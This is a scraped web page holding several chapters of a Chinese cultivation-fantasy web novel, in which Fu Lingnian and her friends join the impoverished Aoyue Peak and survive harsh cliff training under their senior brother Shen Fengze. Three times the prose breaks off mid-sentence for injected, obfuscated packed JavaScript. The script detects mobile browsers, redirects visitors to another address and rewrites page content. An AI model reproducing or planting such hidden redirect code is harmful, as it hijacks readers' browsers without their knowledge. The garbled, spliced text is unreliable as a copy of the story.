“来了。”伏令年出声提醒,她可不晓得姜也内心的震动。对于她来说,没有什么是最初就被限定的。炼丹炉可以用来炼丹,不意味着就不能当做武器使用。只要能发挥其用途,哪便是最好的用法。 姜也内心挣扎着,当看到飞鸟再次逼近时,他还是遵从内心求生的意志,挥出了手中的炼丹炉。 “砰砰!” 两只飞鸟相继被击落。 姜也被冲击力震得险些站不住,好在伏令年伸手将他拽了回来。 “谢谢……”姜也的声音颤抖着,他感到自己心跳得极快,有些恐惧,又似乎有些……兴奋? 见鬼,他怎么会觉得兴奋。 有了姜也的炼丹炉辅助,伏令年躲避起来轻松了不少,朝着温季才的方向不断接近。 …… 水影幕处,众人的目光聚集于一片白茫茫的区域。由于特殊的设计,外头的弟子能够透过迷雾的遮掩看到内部的具体情况。 最先出发的几人皆为剑修,且都对自己的实力颇有自信。 迷雾笼罩与飞鸟的袭击无法阻碍他们的前进,一切障碍皆湮灭于他们的剑光之下。 剑修们所向披靡,然而,其余修士却陷入了困境之中。 几位选择驾驭其余物品飞行的修士在进入迷雾后被飞鸟袭击,从空中坠落。 幸而及时击碎了身份铭牌,生命无恙。 看到如此情况,丹峰与青叶峰的长老都有些坐不住了。 迷雾笼罩与飞鸟袭击两重困境,使本来便不善于御物飞行的修士们更是雪上加霜。 “这不公平。”陈旭脾气暴躁,藏不住心事,又嚷嚷起来。 “陈长老。”丹峰峰主是一位眉目清冷的女子,她神色平淡,似乎对此早有预料:“稍安勿躁。” 临近四境大会,此次内门考核极受重视。内门考核的各个关卡个更是由宗主与几位峰主共同设定,连普通长老都不知晓具体情况。 昆仑宗虽一向都以修剑闻名,但在百年前的大能引导下,引入并倡导多种修行方式。多年以来,昆仑宗一直秉持着先辈的指导,不应当出现如此不公平的设置。 就在这时,温季才的身影进入了迷雾区域。 看见他背后载着丹修弟子,丹峰峰主脸上带上了一丝笑意,微不可见地颔首。 温季才与伏令年同样以身法见长的,飞行于空中时更是胜过伏令年一筹。 他总能极为精妙地避开飞鸟的袭击,仿佛本身就是生于天空的飞鸟。 迷雾掩盖了他的视线,但与身处密林众同理,他能够凭借其余感官追寻目的地。
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【九十年义务修仙系统提醒您:】 【触发任务】 适合自己的学习环境才是最好的! 拒绝加入绯月峰(0/1) 【完成奖励】 有用的奖励*1 【失败惩罚】 噬心之痛 伏令年嘴角一抽,心中暗骂这系统怎么总是在莫名其妙的情况下出现。也顾不得嘴角的血没擦干净,她脑子里飞速思考着要怎么在不激怒这看上去就很不好惹的绯月峰峰主的同时拒绝她。 女声接连被两人沉默以对,似乎有些不喜,她声音转冷:“怎么,你们不愿?” 伏令年灵机一动,她起身,忽的拽住身旁看热闹的某位弟子,问:“你是哪峰的弟子。” 那被她拽着的人一脸懵逼,乖乖地回答:“遨…遨月峰。” “对对对。”伏令年一脸认真地朝红色光团道:“抱歉,前辈,我已经同这位师姐约好了。我如今已经是遨月峰的弟子了。” 俗话说得好,出门在外身份都是自己给的!堂堂绯月峰峰主也不能乱抢其他峰弟子吧? 那被她强行搭关系的师姐居然也没有否认,像是默认了伏令年的胡扯。 红色光团沉默了一会,就在伏令年担心对方一生气一剑劈把自己给劈了的时候,就听见从承言轻声道:“赤霄…” 红色光团再不理会伏令年,重新回到了从承言面前。 同一时间,伏令年只觉得自己的体内紊乱的灵力骤然消散,似乎被人直接抽走了。 从承言的头依旧低垂着,看不清表情。从伏令年的角度来看,只能看见他右手紧握成拳,放于右膝上。身体不知是因为激动还是受伤过重微微颤抖着。 他声音很轻,却很坚定:“弟子从承言,拜见师父。” 32. 苟富贵,莫相忘 从承言总会在夜晚回想起自己的曾经——虽然他如今也只是个十二一岁的孩子。 他是宗门之主的独子,自小便对剑术展现出极大的天赋。 他们宗门并不是什么有名的大宗门,一宗之主的修为也仅达到元婴。同四境闻名的昆仑宗比起来,简直小得可怜。 修仙一途,有能力者平步青云,无能力者久滞不前。父亲在元婴这一境界上已不知停留了多久。 因此,他的父亲对他寄予厚望,希望他有朝一日能成为宗门的顶梁柱,带领宗门走向强大。 在从承言的记忆中,父亲总是不苟言笑,对他异常严苛。 他害怕父亲的严苛与责备,讨厌宗门长老弟子的恭维。他喜欢母亲温暖的拥抱,怀念那些夜晚母亲轻声讲述的故事。 但无论如何,喜欢或厌恶,所有的一切皆在那个夜晚化为了血海与深渊。刀光剑影,血肉横飞…从承言亲眼看见长剑穿过母亲的身躯,一个个保护他逃跑的人接连倒下,只余下他一人没命的奔逃,甚至不知晓屠灭整个宗门的仇家究竟是何人。 他只记得,母亲最后的话语。 “言儿,他们是来取赤霄剑的,快走!” ——赤霄剑 从承言手指收紧,指尖被剑刃划破,血珠冒出,融入剑身。 如今,这把赤霄剑,便在他的手上。 “不错。”红色光团声音带上了一丝笑意:“滴血认主,这把剑果然与你契合。” “感谢师父。”从承言脑袋低垂,神色不明。 “准备好,便来绯月峰吧。”女声说完,红色光团渐渐消散。只留下从承言跪坐着,轻抚剑身。 从那一天夜里起,从承言便知晓自己将为复仇而生。他没命地修炼,只为了能将亲手将仇人手刃。 如今,他似乎已经走出了第一步。然而,他却未感到欣喜。浓浓的负罪感压在胸口,他甚至不敢抬头寻找两位同伴。 明明是共同走来的同伴,自己却欺骗背离了他们。如何有脸面与他们再见? 突然,赤霄剑剑身光芒大作,剑鸣之声乍起。 灵剑护主,察觉到了陌生人靠近,因而有此异象。 从承言惊讶抬头,眼眸映出了两张他再熟悉不过的脸庞。 伏令年的脸色看着有些苍白,显然伤势未愈。 两人的面色都很凝重,让本就心有内疚的从承言更加痛苦。他张了张嘴,想将真相全盘托出。但他知晓涉事重大,若绯月峰峰主真当是他的仇人,说出来只会拖累他们。 伏令年和温季才走近,突然蹲下与从承言目光持平,一人握住了他的一只手。 伏令年面色严肃,看着从承言一字一顿地说:“苟富贵。” “莫相忘。”温季才顶着同样的表情,严肃之外甚至有些沉痛。 从承言:啊? 过了许久,他才哑声开口:“你们,不怪我么?” “怪你什么?”温季才眼睛一瞪:“你打算有了灵石之后独吞?” “不是……”从承言都有些无语了,刚刚积聚的情绪都快消失了:“和灵石有什么关系?” “关系可大了。”温季才一脸认真:“我们刚刚都打探好了,昆仑宗最富五大峰——丹峰、玄泽峰、青叶峰、绯月峰和昆仑峰。” “……” “噗…”伏令年没忍住笑了一声,她明白从承言在忧虑什么:“好了,你能进绯月峰是你自己实力。至于你想做什么…”她压低声音:“需要帮助的话,别忘了我们。有什么不想说的话,我们也不会逼你。” “不…”从承言急着解释:“不是不想说。” 是不能说。 两人目光相对,伏令年笑着点了点头。虽然未说出口,但从承言总感觉她明白了他的意思。 “我在这呢。”温季才酸酸地嘟囔:“你们俩眉来眼去的不带上我?” 这词是这么用的吗? 伏令年拍了温季才一巴掌。 温季才还手,却不想伏令年忽的又剧烈咳嗽了起来,整个人歪向从承言。 从承言受伤颇重,被伏令年一碰牵动了伤口,一时间场面一度混乱。 混乱过后,伏令年十分没形象地躺在了地上,从承言也没好多少,十分不体面地坐在地上。只有没受伤的温季才还好端端地站着。 一张米色的纸突然出现在伏令年面前,遮住了头顶洒落的阳光。 伏令年迷茫地侧头,瞧见了一道熟悉的身影。 是那位被她临时拉来充当群演的师姐。 “在上面写上你的名字就好。”师姐面容和善,笑吟吟地看着她。 “还有你。”师姐抬手一指,对着温季才招呼到:“你也没有师门吧?顺道加入我们峰吧。” 见伏令年几人神色古怪,她抚掌一笑:“啊,我明白。你们是在担心入峰福利吗?都放心,我们师门福利很好的。进来就能做亲传弟子,不像别的峰得苦哈哈的都只能当内门弟子。还有还有…我们遨月峰可是传说中的天下第一峰,只是近几年比较低调罢了…” 伏令年一脸怀疑地盯着这位师姐,觉得自己需要紧急下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928262|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 载一个修仙界反诈app。 “遨月峰?!”一旁的温季才突然惊喜道:“是那个天下第一剑的望月仙尊和映月仙尊的师门?” “是的。”师姐笑容更盛:“你了解的很多嘛。” “什么?”这会只留下伏令年迷茫了,什么天下第一剑,还有为什么天下第一剑会有两个人啊? “因为他们无意争夺高低,”温季才抢答道:“所以便被后人一同称作天下第一剑了。可惜映月仙尊陨落,如今便只余下望月仙尊了。” 眼见着温季才一副迫不及待要投入遨月峰怀抱的模样,伏令年试图唤醒他的理智:“我们对遨月峰的了解还不够多……” “那有什么,望月仙尊所在的师门还能差?”很显然,温季才已然失去了理智。 师姐看上去很欣慰:“没想到你已经如此急迫地想了解我们遨月峰了,师妹。” 伏令年:我不是我没有啊。 但最终,伏令年还是在师姐和温季才期待的眼神中签下了自己的名字。 伏令年也对此有所思考,作为一个刚刚扯谎欺骗了绯月峰峰主的小弟子,如果被她发现,以她强势的脾性来看,自己怕是吃不了兜着走。 并且,师姐嘴中的遨月峰听上去的确十分不错,就算是有欺骗性,曾经拥有两位天下第一剑的师门大概也差不到哪里去吧…… 才怪。 此时,伏令年站在荒草丛生、破破烂烂的小木屋外,只想大喊一声救命。 师姐大手一挥,对着两人道:“别客气,这里的屋子很多,随便挑。” 伏令年弱弱地指了指房顶都空了一块的木屋:“这个…屋子?” “对啊。”师姐依旧笑眯眯的,看不出有半分不对:“周遭的空地也归你们,可以随便打理。种点花花草草陶养下情操,或用来修炼都成。” “对了,我忘记介绍一下自己了。”师姐抚了抚衣袖:“我名安祉,是你们的二师姐。我们师门现今拢共有五位亲传弟子。你们先安顿下来,后续会有人给你们送来衣物和日常所需的物品,明日大师兄会来指导你们修炼。” 一口气说完,安祉期待地望着两人:“还有什么问题吗?” 伏令年小声地问:“还能反悔吗?” 安祉微笑摇头。 “那没有了。” “好的。”安祉大大松了一口气,转身飘悠悠地走开了,有种终于下班了的松弛感。嘴里还念叨着:“今年比去年多招一个弟子,嘻嘻。” 伏令年:“……” 不嘻嘻。 33. 沈枫泽 傍晚,当伏令年终于把一间房顶不漏水的小木屋收拾出能睡觉的地方时,有人敲响了她的房门。 门外是一位陌生的弟子,他手中提着一个木篮,里头放着几件衣物。 弟子看见她,立即朝她行了个礼:“师姐。” “啊?”伏令年摆手:“我只是今天新来的弟子。” 弟子摇摇头道:“弟子间排位不论年龄,你是亲传弟子,我们外门弟子都应当称呼你为师姐。” 伏令年了然,当了这么多年外门小师妹,忽的有种翻身做师姐的爽快感。 弟子给她交代了一番宗门平日日常的事务,便准备告辞。临走前,他脚步一顿,面色古怪地回头望向伏令年:“唔…如果你承受不住,早点申请转为内门弟子便可,别硬抗啊。” “啊?”伏令年没明白他的意思,弟子却不愿意多说。 目送着弟子离开,伏令年莫名觉得前路不妙。 第二日,伏令年天未亮便起了床,洗漱穿衣。 倒不是她有多勤奋,而是这破屋子环境实在太差了,她一晚上几乎没睡上安稳觉。 实在遭不住,伏令年便早早起床用打坐的方式恢复精神了。 灵力运转周身,经过这几日探索,伏令年大概了解自己的修为到了如何地步。 约莫是筑基期三阶的水平,离完成系统地任务只差一步。 神识海中的嫩芽也未有什么太大的变化,只比最初高了一些。伏令年如今依旧不知道这嫩芽的作用。 或许能等到与同门师兄师姐熟悉后询问一二。 就在伏令年沉浸于与自然共同呼吸的状态中时,心中危机感陡生。她立即脱离了打坐了状态,腿部发力直接从床上弹起。 下一刻,剑气直逼面门。 伏令年腰身扭动,堪堪避开不知从何而来的袭击。 小木屋中太过狭窄,伏令年没有急着寻找究竟是谁攻击她,直接从窗子中跳了出去。 此时天际已经有了一抹亮色,伏令年站在满丛枯草之中,凝眸望向木屋处。 伴随着爆裂声,伏令年眼睁睁看着一把飞剑从自己精挑细选的小木屋中穿了出来,直接在本就不太体面小木屋的墙壁上开了一个更不体面的洞。 那罪魁祸首在空中打了个转,像开了自动追踪似的朝伏令年撞了过来。 伏令年在跳窗前顺手将昨日弟子随着衣服一同送过来的佩剑也抓了出来,她观察着罪魁祸首的运动轨迹,侧身出剑格挡。 “铛”的一声巨响,伏令年只觉得手腕发沉,整个身子都被巨力压得偏折了一个角度。 面前的飞剑发出一声剑鸣,剑身轻轻震颤。伏令年忽觉指尖发麻,麻痹感直接从头蔓延至整条手臂,让她险些抓不住手中的剑。 眼见着事态不妙,伏令年脚步挪移,飞速后退试图躲避。 然而那飞剑却宛若附骨之蛆紧紧跟随着伏令年而来,两剑每一次的撞击都令她手腕一阵发麻。 在第五次交击之后,伏令年手中的剑终于被击飞,掉在了三步远外。 “师兄饶命!”眼见着那飞剑就要把自己给一剑封喉了,伏令年一边扯开嗓子喊着,一边缩身就地翻滚躲避。 飞剑微微顿住,停在空中,再未攻击。 幸好真是安祉所说的那位大师兄。 从地上爬起,伏令年心疼地拍了拍自己的新衣服,目光望向那突然出现的人影。 那人身着黑衣,身材高挑。与他目光相对,伏令年只感到心底发凉,似被猛兽盯上了。危险的感觉甚至让伏令年忽视了他俊美的面庞,只想尽快移开视线不与之相对。 飞剑此时正温顺地停在他的掌心,不复刚刚凶残的模样。 也就是这把飞剑,刚刚将伏令年打得近乎毫无招架之力。 “还不错,挺敏锐。”青年脸上没有表情,他侧头点了点:“看到什么了?” “看到…很多草和树?”伏令年犹豫着道。 “……”青年斜睨了她一眼:“悬崖。” 没等伏令年再说什么,青年继续道:“在那里等着。” 说完,青年也没留时间给伏令年发问,身影再度消失。 伏令年在悬崖处等了一会,就见一道熟悉的身影爬了上来。温季才顶着乱糟糟的头发,一副可怜兮兮的模样。 见到伏令年,他立即哭丧着个脸,向伏令年大倒苦水。 “真是丧心病狂……我衣服都没穿好呢,就被那把破剑追着满地乱跑……” 温季才给她绘声绘色地描述了一遍他如何在梦中被惊醒,然后被大师兄一顿暴打的经历,听得伏令年直咋舌。 伏令年还算幸运,她本来就是清醒的状态,反应也快,只是被迫用剑和师兄过了两招。温季才就不同了,他在睡梦中被危险惊醒,一路被剑撵着往外跑。身上被打得轻一道紫一道的,就差开个血洞了。 两人聊了一小会,又有人远远的出现了。伏令年看去,便看见那青衣师兄慢悠悠走了上来,手里还提着个什么东西。 细细瞧去,伏令年眉心一跳——师兄手里拎着的不是什么东西,而是一个活生生的人! 几个呼吸之间,青衣师兄已经来到了两人面前,手中的人被他“啪”一下丢到了地上。 那人扭动了几下,颤巍巍从地上爬了起来。 “高墨贤?!”伏令年不由得喊出了他的名字。 说实在的,若不是伏令年当初留了印象,此时很难把面前这个鼻青脸肿的家伙同考核中那位青年联系起来。 “都认识?”青衣师兄嘴角勾起一抹笑容,却让在场三人都不寒而栗。 “那不错,就省去那些繁杂的互相认识环节吧。你们只需要知道,我是你们的师兄,沈枫泽。至于你们……”他眸光扫视三人:“我不需要知道你们的名字,也无意了解你们的曾经。我只负责你们如今的修行,你们若是经受不住,便自行申请除去亲传弟子之名。” “现在,开始你们第一天的修行。”沈枫泽见三人皆面色严肃,点了点头:“我的规矩很简单,你们沿着悬崖往下爬,不能御剑。我随机用剑攻击你们,能下到底部便算你们完成。” “还有什么问题吗?”沈枫泽恢复了面无表情的模样,问。 伏令年弱弱举起了手。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943200|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “说。” “如果…我是说如果。被师兄你的剑打中…或者掉下悬崖…”伏令年试探着问。 然后,三人便看见沈枫泽脸上再次浮现笑容。他薄唇微张,缓缓地道:“没事的,顶多身上开几个血洞,或者是摔断手脚罢了。” 残暴!简直太残暴了!伏令年好想逃,但她逃不掉 在沈枫泽的注视下,三人齐齐挂在悬崖上,小心挪移着往下攀去。 虽然已经有了预料,但这样的动作比伏令年最初预估的还要困难。 不仅是悬崖陡峭的角度,还因为其几乎无处落脚。放到以前世界,即使是世界第一的徒手攀岩高手也难以完成。如今,伏令年有了灵力相辅,能够勉强挂于悬崖上,但若是再加上沈枫泽时不时的袭击,能不能稳住不掉下去还是个问题。 三人挪动着向下。突然,背后劲风突起。伏令年指尖发力,下身摇晃着换了一个落脚点。 长剑直直撞于崖壁上,将几块突出的地方击成碎石,簌簌往下掉落。 勉强稳住身形,就在伏令年打算继续往下挪动时。只听身旁一声惊呼,就见高墨贤脱手,整个人即将往下坠去。 伏令年见此情形,一只手发力,插入崖壁。另一只手空出,想给高墨贤借力,以此帮助他稳住身形。 然而,还未等两人有肢体接触,劲风再次袭来。长剑竟撞上了两人之间的崖壁,硬生生将两人隔开。 高墨贤没有伏令年的帮助,整个人脱离崖壁,竟就这么直接从高空坠了下去。 伏令年没法看见底下的情况,只在最后听见了重物坠地的声响。她只觉得头皮发麻,凉意从心底蔓延至四肢百骸。 即使是修仙者,这样直直的坠下去恐怕也是生死难料。 沈枫泽没有给伏令年多少恐惧或愤怒的时间,攻击接二连三所至,伏令年只能不断重复着向下攀缘,腾挪躲避的动作。 指尖早已因为抓握而满是血迹,不时有在攻击中粉碎的碎石击射在她的身上,给她的肌肤划出一道道伤痕。 即使在内门考核中,伏令年也不曾有这样的紧迫感与绝望感。 毕竟内门考核中的她拥有击碎身份铭牌退出的机会,也有两位伙伴的帮助。而如今挂在悬崖上的她仿佛水中孤舟无所凭依,似乎只有被捅穿掉下去、直接掉下去或者是成功爬下去三种可能。 沈枫泽不知是有意还是无意,在攻击速度逐渐加快的同时,使得伏令年和温季才在攻击之中越离越远。以如今的距离来看,他们其中任何一人遇险,另一人也是鞭长莫及,没法施以援手。 伏令年如今已然麻木,她麻木地感受着指尖被扎破的痛楚,麻木地挪动着酸痛无比的手臂与双腿,麻木地躲避着一次又一次袭击。 终于,她反应稍稍慢了一步,长剑呼啸而来,直接击中了她的右臂。长剑并未直接刺破她的身躯,但即使是剑身的击打,也是极为不好受的。 伏令年右手脱力,还未等她重新恢复稳定,下一道攻击便接踵而至。有了第一次失误的她仿佛碰倒了多米诺骨牌,再难以躲避后续的袭击,最终在连中三剑后脱手朝着崖底坠去。 34. 三年 待伏令年醒来,已经是三天之后了。 摔下悬崖之后,伏令年眼前一片漆黑,失去了意识。待到苏醒之时,已不知过了几日。 伏令年小心地挪动身躯,只觉得四肢皆隐隐作痛,也不知是不是如沈枫泽所说般摔得断手断脚了。 待到完全清醒,伏令年发现自己已经回到了小木屋中,活动了下手脚,她庆幸地发现自己的手脚还好好的,完整无缺。 环视四周,只见身旁摆着个木盒子,里头的丹药已经被取了一半。旁边还压着一张纸,上头字迹丑得有些难以辨认。 伏令年看了半天,才勉强辨认出内容——二品还春丹,一盒五十块下品灵石。 伏令年只觉得眼前一黑。 待她恢复大半,沈枫泽的魔鬼训练接续而至。大半个月中,三人中始终未有人能成功完成悬崖的修行,每次皆伤痕累累。 伏令年也终于明白了那位内门弟子意味深长的话,亲传弟子可真不是什么好差事啊! 她曾多次想要放弃亲传弟子的身份,成为一个负担较小的内门弟子。 这样同样也算是完成了系统的任务,她还能更轻松一些,能抽出时间去炼丹或制符。 然而,伏令年却总是没法下定决心。不仅是不愿当半途而废者的自尊心在作祟,还因为她总放心不下系统给出的另一个任务——不完成便会被抹杀的任务。 达到金丹期,参加下一届四境大会。 而她现在只是个小小的筑基三阶。而修行一途,每上升一个阶段的难度是成倍增加的。 系统任务的紧迫使她没法放松,只能咬牙坚持着。 让伏令年惊喜的是,这样的修炼并非只给她带来了痛苦。 耳边风声呼啸,雨水大颗大颗得砸落在伏令年的身上,给她造成了极大困扰。 伏令年不断调整着呼吸,手与脚一同配合着,以均衡的速度往下方移动着。 长时间的训练使她的十指已经生了一层厚厚的茧,也更加适应在崖壁上抓握攀爬。 在细密的雨声中,伏令年忽的捕捉到一丝不和谐的动静。她感受着周遭气流的变动,身体一缩一放,如树林的猿猴般灵巧跃动,躲开了袭击。 此时她已经行进到整个崖壁的大半路程,已然超过了她以往的任何一次。 越到下方,沈枫泽的攻击也越加频繁,且没有规律。伏令年被迫不断躲避,自身节奏也被打乱。 这种被牵着鼻子走又不能还手的感觉极为不好受,若不能及时调整过来,伏令年便很容易因为力竭从崖壁上跌落下来。 雨势依然猛烈,如豆般大小的雨滴无情地击打在肌肤上,带来阵阵疼痛。然而,伏令年却将全部注意力集中在自身手脚移动以及不时不出现的袭击上,仿佛那猛烈的雨和狂风只是背景的陪衬。 在如此状态下,伏令年腾挪跃动,仿佛形成了特殊的身法。在沈枫泽攻击的不断变动之下,她时而如灵猴跃动,时而如壁虎攀缘,时而又如飞鸟腾跃。 她逐渐在变化中找到了自己的节奏。 当双腿落于实地,伏令年有些呆愣地看着自己的双手。直到沈枫泽来到她面前,她才如梦初醒。 “我成功了?!”心中涌起一股情绪,伏令年体会到了久违的欣喜若狂——那是历经磨难后成功的喜悦。于此同时,体内涌动的灵力突破桎梏,伏令年的修为提升到了筑基四阶。 沈枫泽没有立即开口,他凝眸看了伏令年许久,待到她情绪有所缓和,抬手丢给她一块玉牌。 伏令年被沈枫泽打惯了,下意识就是扭身躲避,结果被沈枫泽抬腿一脚踹了回去。 拿起砸在自己身上玉牌,伏令年一边委屈地搓着自己被沈枫泽踹到的后腰,一边凝眸细瞧。 玉牌有她的巴掌大小,通体呈青白色,有些像是原来世界的翡翠。整体呈正方形,边缘呈现花纹,似龙盘旋又似山峦起伏。 最中间浅浅显现弯月的图案,除此之外再无他物。 伏令年看了一眼沈枫泽,以表示自己的疑惑。 沈枫泽简明扼要地道:“神识,刻你的名字。” 点点头,伏令年没忍住又问了一句:“这是什么东西?” “亲传弟子的身份铭牌。”沈枫泽面无表情地说:“成功刻字后便同宗门内的另一块双生牌相联,你死了我们会知道。” 伏令年:“……”呸呸呸,晦气! 她突然又明白了什么,瞪着沈枫泽:“那我们之前?” 笑容又出现在沈枫泽的脸上,他缓缓地道:“遨月峰不收无用之人。” 伏令年懂了,自己这是被人骗进来杀了。二师姐负责骗,大师兄负责杀。就说这来当亲传弟子到底图什么,图小木屋的破,还是喜欢被沈枫泽暴打? 当然,这话伏令年可没敢说出来。她只能在心里狠狠地给面前之人竖了个中指。 闭上双眼,伏令年将神识探入玉牌。 “伏令年”三个字浮现于铭牌之上,这是对她身份的认证,也是她在修仙一途的新起点。 …… 三年以后。 伏令年身负背篓,一步一步沿着山间小路而行。 汗水如雨水般落下,伏令年抬手拢了拢额间碎发,只觉得每一步都重如千斤。 路过溪水旁,她停下脚步,卸下背后的背篓放于地面。背篓重重地砸在地上,掀起一片尘土。 流动的溪水之中,一道身着黑衣的身影浮现于上。 十五岁的伏令年已然抽条了许多,长得过快使她身体有些跟不上,整个人显得十分单薄。这三年间,她变化不小,唯一不变的是她那双有神且明亮的眼眸。 “伏师姐!” 伏令年抬头望去,就见一位青衣少女小跑着向下,朝她招呼着。 “阿倩?”伏令年伸手扶住如叶子般轻盈飘落的少女:“有何事?” “你的灵力又被师兄封起来啦?”阿倩瞪大了眼睛问。 见伏令年点头,少女咂了咂嘴:“真可怕。” “对了。”阿倩晃了晃脑袋,不好意思地笑道:“差点忘记了,是温师兄让我来找你的,他说他在你的住处等你。” “好。”伏令年应下,看着小姑娘像小蝴蝶般飘飘悠悠跑走的背影,嘴角不由得带上笑意。 三年前,伏令年三人皆获得了沈枫泽的认可,成为了遨月峰“常驻”的三位亲传弟子。按照完成悬崖攀爬的时间来排序,伏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985693|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令年荣登遨月峰三师姐之位。 温季才能完成并不让伏令年意外,两人相识多年,伏令年很清楚温季才在修行上的天赋。尤其在身法上,并不输于自己。果然,在伏令年完成的一周后,温季才也取得了成功。 其中,高墨贤是最让伏令年吃惊的。原本身为符修的他修为比伏令年两人其实只高不低,但他的身法与力量着实差伏令年两人许多。 然而,即使面对一次次的失败,面对伏令年两人接连成功他却连往下爬完全程都做不到,高墨贤却依旧坚持着,未有放弃。 终于,在一年以后,他成功完成了第一步的修行。 这让伏令年不由想起他内门考核中说的那番话,此时回想起来,只觉得敬佩,再无揶揄之感。 在这三年中,每年都会有新的弟子加入,却无人再能坚持撑过沈枫泽的魔鬼训练。 并非所有弟子都意志薄弱——实际上,那些有能力的弟子皆已先一步加入了其余山峰,其余被二师姐拐进来的弟子大多能力逊色少许。 能像温季才伏令年这样误打误撞进来的弟子是少数中的少数。而如同高墨贤那般坚韧的,也是难得一见。 而伏令年也是总算是明白自己加入的遨月峰究竟有多么惨淡。 总结来说就是——残破的住所,贫穷的师门,残暴的师兄,稀少的弟子,和破碎的她自己。 背着沉重的背篓,伏令年先回到遨月峰的主殿领取了宗门贡献点——一种类似于原来世界学分的东西。内门弟子靠完成宗门发布的任务来获得宗门贡献点,每月每年都会进行贡献点核查,贡献点不足的弟子还会被强制安排任务以及扣除月俸。 体内灵力被封住,伏令年没法御剑飞行,全靠一双腿在走。回到住所时天色已渐暗。 伏令年的小木屋在这三年中也有了许多不同,破破烂烂的墙体被重新修补起来,小院中的杂草已被清理干净,种上了炼丹所需的草药。 在遨月峰当亲传弟子其实也不是没有好处,最起码没有人在意她究竟在做什么。 沈枫泽除了修炼不在乎任何东西,二师姐整天不见踪影,便宜师父据说在闭关修炼从未出现过,遨月峰的弟子也少得可怜。只要能让沈枫泽满意,伏令年就算是把自家屋子炸了也无人在意。 系统给出的【第一学期任务】伏令年也已在一年前全部完成,随着熟悉只有一个“确认”按键的面板,系统再次更新。 这次,伏令年做好了痛不欲生的准备。然而,伏令年只觉得胸腹处隐隐作痛,持续了约莫半柱香时间,一切不适感便消失了。 【九十年义务修仙——第二学期任务 ①阅读《灵植学必修二》(作业:完成《灵植学大全》第二篇收录) ②阅读《炼丹术必修二》(作业:炼制三品丹药大成) ③《符修入门》《制符必修二》(作业:炼制三品灵符大成) ④学生需德智体美劳全面发展。修为达到金丹期,通过考核,参加四境大赛。】 看来这次系统正常了不少。 回想着种种,伏令年危机感突生,被拉回了现实。就见一个木盒状的物什从她小屋的窗口中飞了出来,直直朝她面门砸来。 35. 忙碌的师姐 虽然无法运用灵力,但经过三年修行的伏令年早已今非昔比。她侧身抬手,抬手堪堪接下那飞驰而来木盒。 “嘶。”伏令年疼得甩了甩手。 打开一看,木盒中零零散散摆着十来颗大小不一丑模丑样的还春丹。 沈枫泽慢悠悠从房门中踱了出来,他双手抱胸,目光冷飕飕地把伏令年谴责的眼神堵了回去。 “干…干什么啊。”伏令年气势大减:“你不要了?” “要什么?”沈枫泽冷笑一声:“你这一盒老鼠屎?” 伏令年:? 什么老鼠屎!这可是她达到二品炼丹师水准后辛辛苦苦炼出来的,竟被沈枫泽如此羞辱?! 伏令年怒上心头,怒上加怒,一怒之下怒了一下! 看着伏令年的表情,沈枫泽悠悠道:“一盒二品还春丹从三年前拖到现在,就还我一盒这个?” “什么意思?我这盒也是货真价实的还春丹呢,药效还更好!”当然,不完全。因为这一盒有大半是她为了炼制大成还春丹的失败品。 见沈枫泽不说话,伏令年接着补充道:“而且…是你自己说的。要不还灵石,要不还一盒给你,你可不能反悔啊…”越说到后面,她的声音越低。 沈枫泽还是没说话,一步一步朝伏令年走过来,目光幽幽。 “欸欸…师兄,有话好好说啊。”伏令年此时灵力被封想跑也跑不掉,犹豫了一会,她从怀里掏出一个玉瓶,一脸肉疼:“实在不行,这个也给你算了。我这里真凑不出灵石了,这真是我的底线了!” 这个玉瓶装着三颗她自己炼的大成二品还春丹,为了提高成功率,在正确添加了所有灵植草药后,伏令年还加了几滴血液进行调和。 沈枫泽双指夹着玉瓶,淡声道:“那你的底线还真是灵活多变呢。” 打开玉瓶,沈枫泽低头嗅了嗅,神色忽的微微变化。 瞥了眼伏令年,他慢悠悠收走玉瓶:“就这个吧,那盒老鼠屎还是你自己拿着吧。” 伏令年松了口气,又觉得胸口发闷,气得牙痒痒。 “什么啊,真的有这么像老鼠屎吗?” 她在屋中向两位师弟——温季才和高墨贤描述着自己刚刚的遭遇,一脸不忿。 “还什么一代剑修天骄,眼神不好吧!”伏令年嘟囔着,还小心翼翼观察四周,生怕自己蛐蛐的对象去而复返。 温季才在一旁咬着嘴唇憋笑,高墨贤则皱眉思索着什么。 伏令年一看就知道温季才嘴里憋不出什么好话,她转头朝向高墨贤:“你说呢!” 高墨贤犹豫了一下:“我知道你没什么灵石,但以后还是别在这个炼丹师手里买东西了,看着不太正经。” “哈哈哈哈哈哈哈哈哈哈哈…”知晓一切的温季才终于憋不住,放声大笑起来。 不正经的炼丹师伏令年本人:“……” “怎么了?”高墨贤一脸迷茫。 